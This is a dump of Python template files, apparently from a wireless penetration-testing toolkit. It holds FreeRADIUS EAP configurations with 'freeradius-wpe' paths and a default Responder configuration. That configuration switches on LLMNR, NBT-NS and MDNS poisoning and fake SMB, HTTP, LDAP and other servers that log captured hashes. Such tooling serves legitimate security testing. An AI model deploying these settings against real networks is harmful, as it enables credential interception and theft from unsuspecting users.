################################################## 644 | 645 | # 646 | # The tunneled EAP session needs a default EAP type 647 | # which is separate from the one for the non-tunneled 648 | # EAP module. Inside of the TLS/PEAP tunnel, we 649 | # recommend using EAP-MS-CHAPv2. 650 | # 651 | peap { 652 | # Which tls-config section the TLS negotiation parameters 653 | # are in - see EAP-TLS above for an explanation. 654 | # 655 | # In the case that an old configuration from FreeRADIUS 656 | # v2.x is being used, all the options of the tls-config 657 | # section may also appear instead in the 'tls' section 658 | # above. If that is done, the tls= option here (and in 659 | # tls above) MUST be commented out. 660 | # 661 | tls = tls-common 662 | 663 | # The tunneled EAP session needs a default 664 | # EAP type which is separate from the one for 665 | # the non-tunneled EAP module. Inside of the 666 | # PEAP tunnel, we recommend using MS-CHAPv2, 667 | # as that is the default type supported by 668 | # Windows clients. 669 | # 670 | default_eap_type = mschapv2 671 | 672 | # The PEAP module also has these configuration 673 | # items, which are the same as for TTLS. 674 | # 675 | copy_request_to_tunnel = no 676 | 677 | # 678 | # As of version 3.0.5, this configuration item 679 | # is deprecated. Instead, you should use 680 | # 681 | # update outer.session-state { 682 | # ... 683 | # 684 | # } 685 | # 686 | # This will cache attributes for the final Access-Accept. 687 | # 688 | use_tunneled_reply = no 689 | 690 | # When the tunneled session is proxied, the 691 | # home server may not understand EAP-MSCHAP-V2. 692 | # Set this entry to "no" to proxy the tunneled 693 | # EAP-MSCHAP-V2 as normal MSCHAPv2. 694 | # 695 | # proxy_tunneled_request_as_eap = yes 696 | 697 | # 698 | # The inner tunneled request can be sent 699 | # through a virtual server constructed 700 | # specifically for this purpose. 701 | # 702 | # If this entry is commented out, the inner 703 | # tunneled request will be sent through 704 | # the virtual server that processed the 705 | # outer requests. 706 | # 707 | virtual_server = "inner-tunnel" 708 | 709 | # This option enables support for MS-SoH 710 | # see doc/SoH.txt for more info. 711 | # It is disabled by default. 712 | # 713 | # soh = yes 714 | 715 | # 716 | # The SoH reply will be turned into a request which 717 | # can be sent to a specific virtual server: 718 | # 719 | # soh_virtual_server = "soh-server" 720 | 721 | # 722 | # Unlike EAP-TLS, PEAP does not require a client certificate. 723 | # However, you can require one by setting the following 724 | # option. You can also override this option by setting 725 | # 726 | # EAP-TLS-Require-Client-Cert = Yes 727 | # 728 | # in the control items for a request. 729 | # 730 | # require_client_cert = yes 731 | } 732 | 733 | # 734 | # This takes no configuration. 735 | # 736 | # Note that it is the EAP MS-CHAPv2 sub-module, not 737 | # the main 'mschap' module. 738 | # 739 | # Note also that in order for this sub-module to work, 740 | # the main 'mschap' module MUST ALSO be configured. 741 | # 742 | # This module is the *Microsoft* implementation of MS-CHAPv2 743 | # in EAP. There is another (incompatible) implementation 744 | # of MS-CHAPv2 in EAP by Cisco, which FreeRADIUS does not 745 | # currently support. 746 | # 747 | mschapv2 { 748 | # Prior to version 2.1.11, the module never 749 | # sent the MS-CHAP-Error message to the 750 | # client. This worked, but it had issues 751 | # when the cached password was wrong. The 752 | # server *should* send "E=691 R=0" to the 753 | # client, which tells it to prompt the user 754 | # for a new password. 755 | # 756 | # The default is to behave as in 2.1.10 and 757 | # earlier, which is known to work. If you 758 | # set "send_error = yes", then the error 759 | # message will be sent back to the client. 760 | # This *may* help some clients work better, 761 | # but *may* also cause other clients to stop 762 | # working. 763 | # 764 | # send_error = no 765 | 766 | # Server identifier to send back in the challenge. 767 | # This should generally be the host name of the 768 | # RADIUS server. Or, some information to uniquely 769 | # identify it. 770 | # identity = "FreeRADIUS" 771 | } 772 | 773 | ## EAP-FAST 774 | # 775 | # The FAST module implements the EAP-FAST protocol 776 | # 777 | fast { 778 | # Point to the common TLS configuration 779 | # 780 | # cipher_list though must include "ADH" for anonymous provisioning. 781 | # This is not as straight forward as appending "ADH" alongside 782 | # "DEFAULT" as "DEFAULT" contains "!aNULL" so instead it is 783 | # recommended "ALL:!EXPORT:!eNULL:!SSLv2" is used 784 | # 785 | tls = tls-common 786 | 787 | # PAC lifetime in seconds (default: seven days) 788 | # 789 | pac_lifetime = 604800 790 | 791 | # Authority ID of the server 792 | # 793 | # if you are running a cluster of RADIUS servers, you should make 794 | # the value chosen here (and for "pac_opaque_key") the same on all 795 | # your RADIUS servers. This value should be unique to your 796 | # installation. We suggest using a domain name. 797 | # 798 | authority_identity = "1234" 799 | 800 | # PAC Opaque encryption key (must be exactly 32 bytes in size) 801 | # 802 | # This value MUST be secret, and MUST be generated using 803 | # a secure method, such as via 'openssl rand -hex 32' 804 | # 805 | pac_opaque_key = "0123456789abcdef0123456789ABCDEF" 806 | 807 | # Same as for TTLS, PEAP, etc. 808 | # 809 | virtual_server = inner-tunnel 810 | } 811 | 812 | ''' 813 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_fast.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_fast = ''' 4 | 5 | ## EAP-FAST 6 | # 7 | # The FAST module implements the EAP-FAST protocol 8 | # 9 | fast { 10 | # Point to the common TLS configuration 11 | # 12 | # cipher_list though must include "ADH" for anonymous provisioning. 13 | # This is not as straight forward as appending "ADH" alongside 14 | # "DEFAULT" as "DEFAULT" contains "!aNULL" so instead it is 15 | # recommended "ALL:!EXPORT:!eNULL:!SSLv2" is used 16 | # 17 | tls = tls-common 18 | 19 | # PAC lifetime in seconds (default: seven days) 20 | # 21 | pac_lifetime = 604800 22 | 23 | # Authority ID of the server 24 | # 25 | # if you are running a cluster of RADIUS servers, you should make 26 | # the value chosen here (and for "pac_opaque_key") the same on all 27 | # your RADIUS servers. This value should be unique to your 28 | # installation. We suggest using a domain name. 29 | # 30 | authority_identity = "1234" 31 | 32 | # PAC Opaque encryption key (must be exactly 32 bytes in size) 33 | # 34 | # This value MUST be secret, and MUST be generated using 35 | # a secure method, such as via 'openssl rand -hex 32' 36 | # 37 | pac_opaque_key = "0123456789abcdef0123456789ABCDEF" 38 | 39 | # Same as for TTLS, PEAP, etc. 40 | # 41 | virtual_server = inner-tunnel 42 | } 43 | 44 | ''' 45 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_gtc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_gtc = ''' 4 | 5 | # Generic Token Card. 6 | # 7 | # Currently, this is only permitted inside of EAP-TTLS, 8 | # or EAP-PEAP. The module "challenges" the user with 9 | # text, and the response from the user is taken to be 10 | # the User-Password. 11 | # 12 | # Proxying the tunneled EAP-GTC session is a bad idea, 13 | # the users password will go over the wire in plain-text, 14 | # for anyone to see. 15 | # 16 | gtc { 17 | # The default challenge, which many clients 18 | # ignore.. 19 | #challenge = "Password: " 20 | 21 | # The plain-text response which comes back 22 | # is put into a User-Password attribute, 23 | # and passed to another module for 24 | # authentication. This allows the EAP-GTC 25 | # response to be checked against plain-text, 26 | # or crypt'd passwords. 27 | # 28 | # If you say "Local" instead of "PAP", then 29 | # the module will look for a User-Password 30 | # configured for the request, and do the 31 | # authentication itself. 32 | # 33 | auth_type = PAP 34 | } 35 | 36 | ''' 37 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_leap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_leap = ''' 4 | 5 | # Cisco LEAP 6 | # 7 | # We do not recommend using LEAP in new deployments. See: 8 | # http://www.securiteam.com/tools/5TP012ACKE.html 9 | # 10 | # Cisco LEAP uses the MS-CHAP algorithm (but not 11 | # the MS-CHAP attributes) to perform it's authentication. 12 | # 13 | # As a result, LEAP *requires* access to the plain-text 14 | # User-Password, or the NT-Password attributes. 15 | # 'System' authentication is impossible with LEAP. 16 | # 17 | leap { 18 | } 19 | 20 | ''' 21 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_md5.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_md5 = ''' 4 | 5 | md5 { 6 | } 7 | 8 | ''' 9 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_peap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_peap = ''' 4 | 5 | ## EAP-PEAP 6 | # 7 | 8 | ################################################## 9 | # 10 | # !!!!! WARNINGS for Windows compatibility !!!!! 11 | # 12 | ################################################## 13 | # 14 | # If you see the server send an Access-Challenge, 15 | # and the client never sends another Access-Request, 16 | # then 17 | # 18 | # STOP! 19 | # 20 | # The server certificate has to have special OID's 21 | # in it, or else the Microsoft clients will silently 22 | # fail. See the "scripts/xpextensions" file for 23 | # details, and the following page: 24 | # 25 | # http://support.microsoft.com/kb/814394/en-us 26 | # 27 | # For additional Windows XP SP2 issues, see: 28 | # 29 | # http://support.microsoft.com/kb/885453/en-us 30 | # 31 | # 32 | # If is still doesn't work, and you're using Samba, 33 | # you may be encountering a Samba bug. See: 34 | # 35 | # https://bugzilla.samba.org/show_bug.cgi?id=6563 36 | # 37 | # Note that we do not necessarily agree with their 38 | # explanation... but the fix does appear to work. 39 | # 40 | ################################################## 41 | 42 | # 43 | # The tunneled EAP session needs a default EAP type 44 | # which is separate from the one for the non-tunneled 45 | # EAP module. Inside of the TLS/PEAP tunnel, we 46 | # recommend using EAP-MS-CHAPv2. 47 | # 48 | peap { 49 | # Which tls-config section the TLS negotiation parameters 50 | # are in - see EAP-TLS above for an explanation. 51 | # 52 | # In the case that an old configuration from FreeRADIUS 53 | # v2.x is being used, all the options of the tls-config 54 | # section may also appear instead in the 'tls' section 55 | # above. If that is done, the tls= option here (and in 56 | # tls above) MUST be commented out. 57 | # 58 | tls = tls-common 59 | 60 | # The tunneled EAP session needs a default 61 | # EAP type which is separate from the one for 62 | # the non-tunneled EAP module. Inside of the 63 | # PEAP tunnel, we recommend using MS-CHAPv2, 64 | # as that is the default type supported by 65 | # Windows clients. 66 | # 67 | default_eap_type = mschapv2 68 | 69 | # The PEAP module also has these configuration 70 | # items, which are the same as for TTLS. 71 | # 72 | copy_request_to_tunnel = no 73 | 74 | # 75 | # As of version 3.0.5, this configuration item 76 | # is deprecated. Instead, you should use 77 | # 78 | # update outer.session-state { 79 | # ... 80 | # 81 | # } 82 | # 83 | # This will cache attributes for the final Access-Accept. 84 | # 85 | use_tunneled_reply = no 86 | 87 | # When the tunneled session is proxied, the 88 | # home server may not understand EAP-MSCHAP-V2. 89 | # Set this entry to "no" to proxy the tunneled 90 | # EAP-MSCHAP-V2 as normal MSCHAPv2. 91 | # 92 | # proxy_tunneled_request_as_eap = yes 93 | 94 | # 95 | # The inner tunneled request can be sent 96 | # through a virtual server constructed 97 | # specifically for this purpose. 98 | # 99 | # If this entry is commented out, the inner 100 | # tunneled request will be sent through 101 | # the virtual server that processed the 102 | # outer requests. 103 | # 104 | virtual_server = "inner-tunnel" 105 | 106 | # This option enables support for MS-SoH 107 | # see doc/SoH.txt for more info. 108 | # It is disabled by default. 109 | # 110 | # soh = yes 111 | 112 | # 113 | # The SoH reply will be turned into a request which 114 | # can be sent to a specific virtual server: 115 | # 116 | # soh_virtual_server = "soh-server" 117 | 118 | # 119 | # Unlike EAP-TLS, PEAP does not require a client certificate. 120 | # However, you can require one by setting the following 121 | # option. You can also override this option by setting 122 | # 123 | # EAP-TLS-Require-Client-Cert = Yes 124 | # 125 | # in the control items for a request. 126 | # 127 | # require_client_cert = yes 128 | } 129 | 130 | # 131 | # This takes no configuration. 132 | # 133 | # Note that it is the EAP MS-CHAPv2 sub-module, not 134 | # the main 'mschap' module. 135 | # 136 | # Note also that in order for this sub-module to work, 137 | # the main 'mschap' module MUST ALSO be configured. 138 | # 139 | # This module is the *Microsoft* implementation of MS-CHAPv2 140 | # in EAP. There is another (incompatible) implementation 141 | # of MS-CHAPv2 in EAP by Cisco, which FreeRADIUS does not 142 | # currently support. 143 | # 144 | mschapv2 { 145 | # Prior to version 2.1.11, the module never 146 | # sent the MS-CHAP-Error message to the 147 | # client. This worked, but it had issues 148 | # when the cached password was wrong. The 149 | # server *should* send "E=691 R=0" to the 150 | # client, which tells it to prompt the user 151 | # for a new password. 152 | # 153 | # The default is to behave as in 2.1.10 and 154 | # earlier, which is known to work. If you 155 | # set "send_error = yes", then the error 156 | # message will be sent back to the client. 157 | # This *may* help some clients work better, 158 | # but *may* also cause other clients to stop 159 | # working. 160 | # 161 | # send_error = no 162 | 163 | # Server identifier to send back in the challenge. 164 | # This should generally be the host name of the 165 | # RADIUS server. Or, some information to uniquely 166 | # identify it. 167 | # identity = "FreeRADIUS" 168 | } 169 | 170 | ''' 171 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_pwd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_pwd = ''' 4 | 5 | # 6 | # EAP-pwd -- secure password-based authentication 7 | # 8 | pwd { 9 | group = 19 10 | 11 | # 12 | server_id = theserver@example.com 13 | 14 | # This has the same meaning as for TLS. 15 | fragment_size = 1020 16 | 17 | # The virtual server which determines the 18 | # "known good" password for the user. 19 | # Note that unlike TLS, only the "authorize" 20 | # section is processed. EAP-PWD requests can be 21 | # distinguished by having a User-Name, but 22 | # no User-Password, CHAP-Password, EAP-Message, etc. 23 | virtual_server = "inner-tunnel" 24 | } 25 | 26 | ''' 27 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_tls.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_tls = ''' 4 | 5 | ## EAP-TLS 6 | # 7 | # As of Version 3.0, the TLS configuration for TLS-based 8 | # EAP types is above in the "tls-config" section. 9 | # 10 | tls { 11 | # Point to the common TLS configuration 12 | tls = tls-common 13 | 14 | # 15 | # As part of checking a client certificate, the EAP-TLS 16 | # sets some attributes such as TLS-Client-Cert-CN. This 17 | # virtual server has access to these attributes, and can 18 | # be used to accept or reject the request. 19 | # 20 | # virtual_server = check-eap-tls 21 | } 22 | 23 | ''' 24 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_tls_common.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_tls_common = ''' 4 | 5 | ## Common TLS configuration for TLS-based EAP types 6 | # 7 | # See raddb/certs/README for additional comments 8 | # on certificates. 9 | # 10 | # If OpenSSL was not found at the time the server was 11 | # built, the "tls", "ttls", and "peap" sections will 12 | # be ignored. 13 | # 14 | # If you do not currently have certificates signed by 15 | # a trusted CA you may use the 'snakeoil' certificates. 16 | # Included with the server in raddb/certs. 17 | # 18 | # If these certificates have not been auto-generated: 19 | # cd raddb/certs 20 | # make 21 | # 22 | # These test certificates SHOULD NOT be used in a normal 23 | # deployment. They are created only to make it easier 24 | # to install the server, and to perform some simple 25 | # tests with EAP-TLS, TTLS, or PEAP. 26 | # 27 | # See also: 28 | # 29 | # http://www.dslreports.com/forum/remark,9286052~mode=flat 30 | # 31 | # Note that you should NOT use a globally known CA here! 32 | # e.g. using a Verisign cert as a "known CA" means that 33 | # ANYONE who has a certificate signed by them can 34 | # authenticate via EAP-TLS! This is likely not what you want. 35 | tls-config tls-common { 36 | private_key_password = %s 37 | private_key_file = %s 38 | 39 | # If Private key & Certificate are located in 40 | # the same file, then private_key_file & 41 | # certificate_file must contain the same file 42 | # name. 43 | # 44 | # If ca_file (below) is not used, then the 45 | # certificate_file below MUST include not 46 | # only the server certificate, but ALSO all 47 | # of the CA certificates used to sign the 48 | # server certificate. 49 | certificate_file = %s 50 | 51 | # Trusted Root CA list 52 | # 53 | # ALL of the CA's in this list will be trusted 54 | # to issue client certificates for authentication. 55 | # 56 | # In general, you should use self-signed 57 | # certificates for 802.1x (EAP) authentication. 58 | # In that case, this CA file should contain 59 | # *one* CA certificate. 60 | # 61 | ca_file = %s 62 | 63 | # OpenSSL will automatically create certificate chains, 64 | # unless we tell it to not do that. The problem is that 65 | # it sometimes gets the chains right from a certificate 66 | # signature view, but wrong from the clients view. 67 | # 68 | # When setting "auto_chain = no", the server certificate 69 | # file MUST include the full certificate chain. 70 | # auto_chain = yes 71 | 72 | # 73 | # If OpenSSL supports TLS-PSK, then we can use 74 | # a PSK identity and (hex) password. When the 75 | # following two configuration items are specified, 76 | # then certificate-based configuration items are 77 | # not allowed. e.g.: 78 | # 79 | # private_key_password 80 | # private_key_file 81 | # certificate_file 82 | # ca_file 83 | # ca_path 84 | # 85 | # For now, the identity is fixed, and must be the 86 | # same on the client. The passphrase must be a hex 87 | # value, and can be up to 256 hex digits. 88 | # 89 | # Future versions of the server may be able to 90 | # look up the shared key (hexphrase) based on the 91 | # identity. 92 | # 93 | # psk_identity = "test" 94 | # psk_hexphrase = "036363823" 95 | 96 | # 97 | # For DH cipher suites to work, you have to 98 | # run OpenSSL to create the DH file first: 99 | # 100 | # openssl dhparam -out certs/dh 2048 101 | # 102 | dh_file = %s 103 | 104 | # 105 | # If your system doesn't have /dev/urandom, 106 | # you will need to create this file, and 107 | # periodically change its contents. 108 | # 109 | # For security reasons, FreeRADIUS doesn't 110 | # write to files in its configuration 111 | # directory. 112 | # 113 | # random_file = /dev/urandom 114 | 115 | # 116 | # This can never exceed the size of a RADIUS 117 | # packet (4096 bytes), and is preferably half 118 | # that, to accommodate other attributes in 119 | # RADIUS packet. On most APs the MAX packet 120 | # length is configured between 1500 - 1600 121 | # In these cases, fragment size should be 122 | # 1024 or less. 123 | # 124 | # fragment_size = 1024 125 | 126 | # include_length is a flag which is 127 | # by default set to yes If set to 128 | # yes, Total Length of the message is 129 | # included in EVERY packet we send. 130 | # If set to no, Total Length of the 131 | # message is included ONLY in the 132 | # First packet of a fragment series. 133 | # 134 | # include_length = yes 135 | 136 | 137 | # Check the Certificate Revocation List 138 | # 139 | # 1) Copy CA certificates and CRLs to same directory. 140 | # 2) Execute 'c_rehash '. 141 | # 'c_rehash' is OpenSSL's command. 142 | # 3) uncomment the lines below. 143 | # 5) Restart radiusd 144 | # check_crl = yes 145 | 146 | # Check if intermediate CAs have been revoked. 147 | # check_all_crl = yes 148 | 149 | ca_path = %s 150 | 151 | # 152 | # If check_cert_issuer is set, the value will 153 | # be checked against the DN of the issuer in 154 | # the client certificate. If the values do not 155 | # match, the certificate verification will fail, 156 | # rejecting the user. 157 | # 158 | # In 2.1.10 and later, this check can be done 159 | # more generally by checking the value of the 160 | # TLS-Client-Cert-Issuer attribute. This check 161 | # can be done via any mechanism you choose. 162 | # 163 | # check_cert_issuer = "/C=GB/ST=Berkshire/L=Newbury/O=My Company Ltd" 164 | 165 | # 166 | # If check_cert_cn is set, the value will 167 | # be xlat'ed and checked against the CN 168 | # in the client certificate. If the values 169 | # do not match, the certificate verification 170 | # will fail rejecting the user. 171 | # 172 | # This check is done only if the previous 173 | # "check_cert_issuer" is not set, or if 174 | # the check succeeds. 175 | # 176 | # In 2.1.10 and later, this check can be done 177 | # more generally by checking the value of the 178 | # TLS-Client-Cert-CN attribute. This check 179 | # can be done via any mechanism you choose. 180 | # 181 | # check_cert_cn = [[User-Name]] 182 | # 183 | # Set this option to specify the allowed 184 | # TLS cipher suites. The format is listed 185 | # in "man 1 ciphers". 186 | # 187 | # For EAP-FAST, use "ALL:!EXPORT:!eNULL:!SSLv2" 188 | # 189 | cipher_list = "DEFAULT" 190 | 191 | # If enabled, OpenSSL will use server cipher list 192 | # (possibly defined by cipher_list option above) 193 | # for choosing right cipher suite rather than 194 | # using client-specified list which is OpenSSl default 195 | # behavior. Having it set to yes is a current best practice 196 | # for TLS 197 | cipher_server_preference = no 198 | 199 | # Work-arounds for OpenSSL nonsense 200 | # OpenSSL 1.0.1f and 1.0.1g do not calculate 201 | # the EAP keys correctly. The fix is to upgrade 202 | # OpenSSL, or disable TLS 1.2 here. 203 | # 204 | # For EAP-FAST, this MUST be set to "yes". 205 | # 206 | # disable_tlsv1_2 = no 207 | 208 | # 209 | 210 | # 211 | # Elliptical cryptography configuration 212 | # 213 | # Only for OpenSSL >= 0.9.8.f 214 | # 215 | ecdh_curve = "prime256v1" 216 | 217 | # 218 | # Session resumption / fast reauthentication 219 | # cache. 220 | # 221 | # The cache contains the following information: 222 | # 223 | # session Id - unique identifier, managed by SSL 224 | # User-Name - from the Access-Accept 225 | # Stripped-User-Name - from the Access-Request 226 | # Cached-Session-Policy - from the Access-Accept 227 | # 228 | # The "Cached-Session-Policy" is the name of a 229 | # policy which should be applied to the cached 230 | # session. This policy can be used to assign 231 | # VLANs, IP addresses, etc. It serves as a useful 232 | # way to re-apply the policy from the original 233 | # Access-Accept to the subsequent Access-Accept 234 | # for the cached session. 235 | # 236 | # On session resumption, these attributes are 237 | # copied from the cache, and placed into the 238 | # reply list. 239 | # 240 | # You probably also want "use_tunneled_reply = yes" 241 | # when using fast session resumption. 242 | # 243 | cache { 244 | # 245 | # Enable it. The default is "no". Deleting the entire "cache" 246 | # subsection also disables caching. 247 | # 248 | # You can disallow resumption for a particular user by adding the 249 | # following attribute to the control item list: 250 | # 251 | # Allow-Session-Resumption = No 252 | # 253 | # If "enable = no" below, you CANNOT enable resumption for just one 254 | # user by setting the above attribute to "yes". 255 | # 256 | enable = yes 257 | 258 | # 259 | # Lifetime of the cached entries, in hours. The sessions will be 260 | # deleted/invalidated after this time. 261 | # 262 | lifetime = 24 # hours 263 | 264 | # 265 | # The maximum number of entries in the 266 | # cache. Set to "0" for "infinite". 267 | # 268 | # This could be set to the number of users 269 | # who are logged in... which can be a LOT. 270 | # 271 | max_entries = 255 272 | 273 | # 274 | # Internal "name" of the session cache. Used to 275 | # distinguish which TLS context sessions belong to. 276 | # 277 | # The server will generate a random value if unset. 278 | # This will change across server restart so you MUST 279 | # set the "name" if you want to persist sessions (see 280 | # below). 281 | # 282 | #name = "EAP module" 283 | 284 | # 285 | # Simple directory-based storage of sessions. 286 | # Two files per session will be written, the SSL 287 | # state and the cached VPs. This will persist session 288 | # across server restarts. 289 | # 290 | # The server will need write perms, and the directory 291 | # should be secured from anyone else. You might want 292 | # a script to remove old files from here periodically: 293 | # 294 | # 295 | # This feature REQUIRES "name" option be set above. 296 | # 297 | #persist_dir = "/var/log/freeradius-wpe/tlscache" 298 | } 299 | 300 | # 301 | # As of version 2.1.10, client certificates can be 302 | # validated via an external command. This allows 303 | # dynamic CRLs or OCSP to be used. 304 | # 305 | # This configuration is commented out in the 306 | # default configuration. Uncomment it, and configure 307 | # the correct paths below to enable it. 308 | # 309 | # If OCSP checking is enabled, and the OCSP checks fail, 310 | # the verify section is not run. 311 | # 312 | # If OCSP checking is disabled, the verify section is 313 | # run on successful certificate validation. 314 | # 315 | verify { 316 | # If the OCSP checks succeed, the verify section 317 | # is run to allow additional checks. 318 | # 319 | # If you want to skip verify on OCSP success, 320 | # uncomment this configuration item, and set it 321 | # to "yes". 322 | # skip_if_ocsp_ok = no 323 | 324 | # A temporary directory where the client 325 | # certificates are stored. This directory 326 | # MUST be owned by the UID of the server, 327 | # and MUST not be accessible by any other 328 | # users. When the server starts, it will do 329 | # "chmod go-rwx" on the directory, for 330 | # security reasons. The directory MUST 331 | # exist when the server starts. 332 | # 333 | # You should also delete all of the files 334 | # in the directory when the server starts. 335 | # tmpdir = /tmp/radiusd 336 | 337 | # The command used to verify the client cert. 338 | # We recommend using the OpenSSL command-line 339 | # tool. 340 | # 341 | # The ca_path text is a reference to 342 | # the ca_path variable defined above. 343 | # 344 | # The [[TLS-Client-Cert-Filename]] is the name 345 | # of the temporary file containing the cert 346 | # in PEM format. This file is automatically 347 | # deleted by the server when the command 348 | # returns. 349 | # client = "/path/to/openssl verify -CApath /etc/freeradius-wpe/3.0/certs [[TLS-Client-Cert-Filename]]" 350 | } 351 | 352 | # 353 | # OCSP Configuration 354 | # Certificates can be verified against an OCSP 355 | # Responder. This makes it possible to immediately 356 | # revoke certificates without the distribution of 357 | # new Certificate Revocation Lists (CRLs). 358 | # 359 | ocsp { 360 | # 361 | # Enable it. The default is "no". 362 | # Deleting the entire "ocsp" subsection 363 | # also disables ocsp checking 364 | # 365 | enable = no 366 | 367 | # 368 | # The OCSP Responder URL can be automatically 369 | # extracted from the certificate in question. 370 | # To override the OCSP Responder URL set 371 | # "override_cert_url = yes". 372 | # 373 | override_cert_url = yes 374 | 375 | # 376 | # If the OCSP Responder address is not extracted from 377 | # the certificate, the URL can be defined here. 378 | # 379 | url = "http://127.0.0.1/ocsp/" 380 | 381 | # 382 | # If the OCSP Responder can not cope with nonce 383 | # in the request, then it can be disabled here. 384 | # 385 | # For security reasons, disabling this option 386 | # is not recommended as nonce protects against 387 | # replay attacks. 388 | # 389 | # Note that Microsoft AD Certificate Services OCSP 390 | # Responder does not enable nonce by default. It is 391 | # more secure to enable nonce on the responder than 392 | # to disable it in the query here. 393 | # 394 | # use_nonce = yes 395 | 396 | # 397 | # Number of seconds before giving up waiting 398 | # for OCSP response. 0 uses system default. 399 | # 400 | # timeout = 0 401 | 402 | # 403 | # Normally an error in querying the OCSP 404 | # responder (no response from server, server did 405 | # not understand the request, etc) will result in 406 | # a validation failure. 407 | # 408 | # To treat these errors as 'soft' failures and 409 | # still accept the certificate, enable this 410 | # option. 411 | # 412 | # Warning: this may enable clients with revoked 413 | # certificates to connect if the OCSP responder 414 | # is not available. Use with caution. 415 | # 416 | # softfail = no 417 | } 418 | } 419 | 420 | ''' 421 | -------------------------------------------------------------------------------- /core/templates/freeradius/eap/freeradius_eap_ttls.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | freeradius_eap_ttls = ''' 4 | 5 | ## EAP-TTLS 6 | # 7 | # The TTLS module implements the EAP-TTLS protocol, 8 | # which can be described as EAP inside of Diameter, 9 | # inside of TLS, inside of EAP, inside of RADIUS... 10 | # 11 | # Surprisingly, it works quite well. 12 | # 13 | ttls { 14 | # Which tls-config section the TLS negotiation parameters 15 | # are in - see EAP-TLS above for an explanation. 16 | # 17 | # In the case that an old configuration from FreeRADIUS 18 | # v2.x is being used, all the options of the tls-config 19 | # section may also appear instead in the 'tls' section 20 | # above. If that is done, the tls= option here (and in 21 | # tls above) MUST be commented out. 22 | # 23 | tls = tls-common 24 | 25 | # The tunneled EAP session needs a default EAP type 26 | # which is separate from the one for the non-tunneled 27 | # EAP module. Inside of the TTLS tunnel, we recommend 28 | # using EAP-MD5. If the request does not contain an 29 | # EAP conversation, then this configuration entry is 30 | # ignored. 31 | # 32 | default_eap_type = md5 33 | 34 | # The tunneled authentication request does not usually 35 | # contain useful attributes like 'Calling-Station-Id', 36 | # etc. These attributes are outside of the tunnel, 37 | # and normally unavailable to the tunneled 38 | # authentication request. 39 | # 40 | # By setting this configuration entry to 'yes', 41 | # any attribute which is NOT in the tunneled 42 | # authentication request, but which IS available 43 | # outside of the tunnel, is copied to the tunneled 44 | # request. 45 | # 46 | # allowed values: {no, yes} 47 | # 48 | copy_request_to_tunnel = no 49 | 50 | # 51 | # As of version 3.0.5, this configuration item 52 | # is deprecated. Instead, you should use 53 | # 54 | # update outer.session-state { 55 | # ... 56 | # 57 | # } 58 | # 59 | # This will cache attributes for the final Access-Accept. 60 | # 61 | # The reply attributes sent to the NAS are usually 62 | # based on the name of the user 'outside' of the 63 | # tunnel (usually 'anonymous'). If you want to send 64 | # the reply attributes based on the user name inside 65 | # of the tunnel, then set this configuration entry to 66 | # 'yes', and the reply to the NAS will be taken from 67 | # the reply to the tunneled request. 68 | # 69 | # allowed values: {no, yes} 70 | # 71 | use_tunneled_reply = no 72 | 73 | # 74 | # The inner tunneled request can be sent 75 | # through a virtual server constructed 76 | # specifically for this purpose. 77 | # 78 | # If this entry is commented out, the inner 79 | # tunneled request will be sent through 80 | # the virtual server that processed the 81 | # outer requests. 82 | # 83 | virtual_server = "inner-tunnel" 84 | 85 | # This has the same meaning, and overwrites, the 86 | # same field in the "tls" configuration, above. 87 | # The default value here is "yes". 88 | # 89 | # include_length = yes 90 | 91 | # 92 | # Unlike EAP-TLS, EAP-TTLS does not require a client 93 | # certificate. However, you can require one by setting the 94 | # following option. You can also override this option by 95 | # setting 96 | # 97 | # EAP-TLS-Require-Client-Cert = Yes 98 | # 99 | # in the control items for a request. 100 | # 101 | # require_client_cert = yes 102 | } 103 | 104 | ''' 105 | -------------------------------------------------------------------------------- /core/templates/responder_cnf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ## Default Responder Configuration 4 | responder_default_conf = '''[Responder Core] 5 | 6 | ; Poisoners to start 7 | MDNS = On 8 | LLMNR = On 9 | NBTNS = On 10 | 11 | ; Servers to start 12 | SQL = On 13 | SMB = On 14 | RDP = On 15 | Kerberos = On 16 | FTP = On 17 | POP = On 18 | SMTP = On 19 | IMAP = On 20 | HTTP = On 21 | HTTPS = On 22 | DNS = On 23 | LDAP = On 24 | DCERPC = On 25 | WINRM = On 26 | SNMP = Off 27 | MQTT = On 28 | 29 | ; Custom challenge. 30 | ; Use "Random" for generating a random challenge for each requests (Default) 31 | Challenge = Random 32 | 33 | ; SQLite Database file 34 | ; Delete this file to re-capture previously captured hashes 35 | Database = Responder.db 36 | 37 | ; Default log file 38 | SessionLog = Responder-Session.log 39 | 40 | ; Poisoners log 41 | PoisonersLog = Poisoners-Session.log 42 | 43 | ; Analyze mode log 44 | AnalyzeLog = Analyzer-Session.log 45 | 46 | ; Dump Responder Config log: 47 | ResponderConfigDump = Config-Responder.log 48 | 49 | ; Specific IP Addresses to respond to (default = All) 50 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10, fe80::e059:5c8f:a486:a4ea-a4ef, 2001:db8::8a2e:370:7334 51 | RespondTo = 52 | 53 | ; Specific NBT-NS/LLMNR names to respond to (default = All) 54 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 55 | ;RespondToName = WPAD, DEV, PROD, SQLINT 56 | RespondToName = 57 | 58 | 